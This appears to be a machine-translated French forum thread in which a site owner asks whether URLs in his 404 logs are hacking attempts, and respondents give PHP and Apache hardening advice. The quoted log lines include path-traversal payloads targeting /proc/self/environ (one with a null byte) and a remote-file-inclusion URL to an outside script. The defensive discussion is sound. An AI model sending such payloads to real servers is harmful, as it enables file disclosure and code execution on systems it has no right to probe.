est-ce une tentative de piratage?

En parcourant mes journaux 404, j'ai remarqué les deux URL suivantes, toutes deux apparues une fois:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

et

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

La page en question library.php,, nécessite une typevariable avec une demi-douzaine de valeurs acceptables différentes, puis une idvariable. Une URL valide peut donc être

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

et les identifiants sont tous exécutés mysql_real_escape_stringavant d'être utilisés pour interroger la base de données.

Je suis une recrue, mais il me semble que ces deux liens sont de simples attaques contre le webroot?

1) Comment mieux se protéger contre ce genre de choses en plus d'un 404?

2) Dois-je permaban les IP responsables?

EDIT: aussi juste remarqué celui-ci

/library.php=http://www.basfalt.no/scripts/danger.txt

EDIT 2: L'adresse IP incriminée pour les 3 attaques était la 216.97.231.15trace d'un FAI appelé Lunar Pages situé juste à l'extérieur de Los Angeles.

EDIT 3: J'ai décidé d'appeler le FAI vendredi matin heure locale et de discuter de la question avec qui je peux avoir au téléphone. Je publierai les résultats ici dans 24 heures environ.

EDIT 4: J'ai fini par envoyer un e-mail à leurs administrateurs et ils ont d'abord répondu «qu'ils y réfléchissaient», puis un jour plus tard avec «ce problème devrait être résolu maintenant». Pas plus de détails, malheureusement.

0) Oui. À tout le moins, c'est une enquête systématique contre votre site essayant de découvrir s'il est vulnérable.

1) En plus de vous assurer que votre code est propre, vous ne pouvez pas faire grand chose, mais exécuter vos propres tests contre votre hôte pour vous assurer qu'il est sûr. Google Skipfish est l'un des nombreux outils pour vous y aider.

2) Je le ferais.

Il s'agit d'une attaque, elle est très bien expliquée ici .

Comme l'ont dit d'autres: oui, c'est une tentative de piratage. Veuillez noter qu'en plus de cette tentative peut-être faite à la main, il y a beaucoup, beaucoup d'automatismes gérés par des botnets. Généralement, ce type d'attaques tente de contourner des vulnérabilités séculaires et / ou des défauts de codage typiques, tels que l'échec de la validation des entrées utilisateur conduisant à une injection SQL, une fuite de système ou de fichier, ou similaire.

Interdire ces botnets à la main est très probablement impossible, car les botnets peuvent utiliser jusqu'à des milliers d'adresses IP uniques, donc si vous voulez les interdire, vous devrez utiliser une sorte de programme d'interdiction automatisé. fail2ban me vient à l'esprit; faites-le réagir aux événements de mod_security ou à d'autres entrées de journal.

Si votre code est propre et durci par le serveur, ces tentatives de piratage ne sont qu'une pollution de journal ennuyeuse. Mais il est préférable de prendre des mesures de précaution et de considérer tout ou partie des éléments suivants, selon vos besoins:

• mod_security est un module Apache filtrant toutes sortes de tentatives de piratage typiques. Il peut également restreindre le trafic sortant (la page que votre serveur enverrait à un client) s'il voit du JavaScript suspect, etc.

• Suhosin pour durcir PHP lui-même.

• Exécutez vos scripts PHP en tant qu'utilisateur propriétaire du script; des choses comme suphp et php-fpm rendent cela possible.

• Montez votre répertoire temporaire webroot et PHP comme noexec, nosuid, nodev .

• Désactivez les fonctions PHP inutiles, telles que le système et le relais .

• Désactivez les modules PHP inutiles. Par exemple, si vous n'avez pas besoin du support IMAP, ne l'activez pas.

• Gardez votre serveur à jour.

• Gardez un œil sur les journaux.

• Assurez-vous d'avoir des sauvegardes.

• Ayez un plan que faire si quelqu'un vous pirate ou qu'une autre catastrophe vous frappe.

Voilà un bon début. Ensuite, il existe des mesures encore plus extrêmes telles que Snort et Prelude , mais elles peuvent être très exagérées pour la plupart des configurations.

Il est tout à fait probable que la machine qui effectue ces requêtes est un zombie botnet. Si vous recevez ces demandes de plusieurs adresses IP, cela ne vaut probablement pas la peine de les interdire, car vous devez interdire la moitié d'Internet pour que cela soit efficace.

Comme déjà dit - c'est une tentative d'accéder au fichier / proc / self / environ pour obtenir plus d'informations.

Je suppose que c'est une machine Linux:

Tu devrais utiliser

• suhosin ( http://www.hardened-php.net/suhosin/ ) - Protège les scripts php
• utiliser la restriction php openbasedir
• fail2ban http://www.fail2ban.org/

Vous pouvez bloquer l'ip d'un serveur attaquant, mais vous devez considérer qu'il peut ne pas attaquer dans la fonctionnalité.

J'ai l'habitude de bloquer certains services lorsque mon serveur est attaqué: http / https / pop / imap / ssh mais laisse smtp ouvert, que vous pouvez être averti si vous avez fait une erreur.

Oui, c'est une tentative d'intrusion. Vous devez absolument interdire l'IP. Si vous déterminez que l'IP est hors du pays, vous pouvez simplement interdire tout le sous-réseau auquel il appartient. Il s'agit moins d'un problème de code que d'un problème de serveur. Recherchez cette intrusion particulière et assurez-vous que votre hébergeur n'est pas vulnérable à elle ou à des tentatives de script pour enfants similaires (à quoi ressemble celle-ci).

Il s'agit d'une tentative d'exploiter une vulnérabilité potentielle arbitraire d'inclusion de fichiers locaux dans des scripts côté serveur accessibles via votre serveur Web. Sur un système Linux vulnérable, il /proc/self/environpeut être abusé d'exécuter du code arbitraire côté serveur.

Comme recommandé par Janne Pikkarainen:

Gardez un œil sur les journaux.

Assurez-vous d'avoir des sauvegardes.

Dans le cadre de ces journaux, il est important de surveiller les modifications de l'un de vos fichiers, y compris votre site Web, dans le cadre d'un système de détection d'intrusion. Un exemple est OpenBSD qui fait cela par défaut pour les fichiers de configuration. J'en parle parce que:

• Pour les sites cloud, des modifications subtiles ont été apportées aux fichiers PHP sur un site Web personnalisé (il s'agissait simplement de générer une balise non standard, mais peut-être une partie d'un test pour mesurer l'ampleur de l'exploit).
• Pour un collègue, il y avait des redirections subtiles dans leur fichier WordPress .htaccess (uniquement les référents des résultats de recherche Google).
• Pour un autre collègue, il y a eu de subtiles modifications dans leur fichier de configuration Joomla (je ne me souviens pas quoi, je pense que c'était aussi une redirection sous certaines conditions).